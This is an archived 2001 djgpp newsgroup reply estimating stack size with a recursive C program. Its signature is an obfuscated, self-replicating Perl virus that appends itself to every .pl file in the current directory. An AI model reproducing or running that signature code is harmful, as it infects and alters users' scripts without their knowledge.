delorie.com/archives/browse.cgi   search  
Mail Archives: djgpp/2001/04/20/09:30:25

From: rpolzer AT www42 DOT t-offline DOT de (echo 'Rudolf Polzer'>/dev/null)
Newsgroups: comp.os.msdos.djgpp
Subject: Re: trouble with classes (for me a unexplainable crash)
References: <987710007 DOT 24446 DOT 0 DOT pluto DOT d4ee1e86 AT news DOT demon DOT nl> <987712178 DOT 25575 DOT 0 DOT pluto DOT d4ee1e86 AT news DOT demon DOT nl> <OE62xc1o8yfogkJXrRj00002159 AT hotmail DOT com> <987769258 DOT 17780 DOT 0 DOT pluto DOT d4ee1e86 AT news DOT demon DOT nl>
X-newsgroup: comp.os.msdos.djgpp
X-realname: Santing, Peter
X-Ringtones: http://ringtones AT durchnull DOT de
X-Original: no
Message-ID: <slrn9e0dl5.e0k.rpolzer@www42.t-offline.de>
User-Agent: slrn/0.9.6.3 (Linux)
Date: Fri, 20 Apr 2001 15:16:22 +0200
Lines: 30
NNTP-Posting-Host: 213.6.171.113
X-Trace: 987772912 news.freenet.de 26220 213.6.171.113
X-Complaints-To: abuse AT freenet DOT de
To: djgpp AT delorie DOT com
DJ-Gateway: from newsgroup comp.os.msdos.djgpp
Reply-To: djgpp AT delorie DOT com

Santing, Peter <peter DOT nospam DOT santing AT phibian DOT net> wrote:
> Question:.. how big is the stack anyway???

Not very big. I do not know, but you can test using this:

int main (int argc)
{
 char x[1024];
 printf ("%d\n", argc);
 main (argc + 1);
}

Round up the number to the next small multiple of a power of two and
you have the stack size in kb. On my Linux PC it starts to swap, so
the stack is unlimited there (AFAIK such arrays are put on the stack,
too). I get the same result when I put a (perl-generated) file
containing declarations 
int a1; 
int a2; 
.
.
.
int a256;
here.

-- 
#!/usr/bin/perl
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################

- Raw text -


  webmaster     delorie software   privacy  
  Copyright © 2019   by DJ Delorie     Updated Jul 2019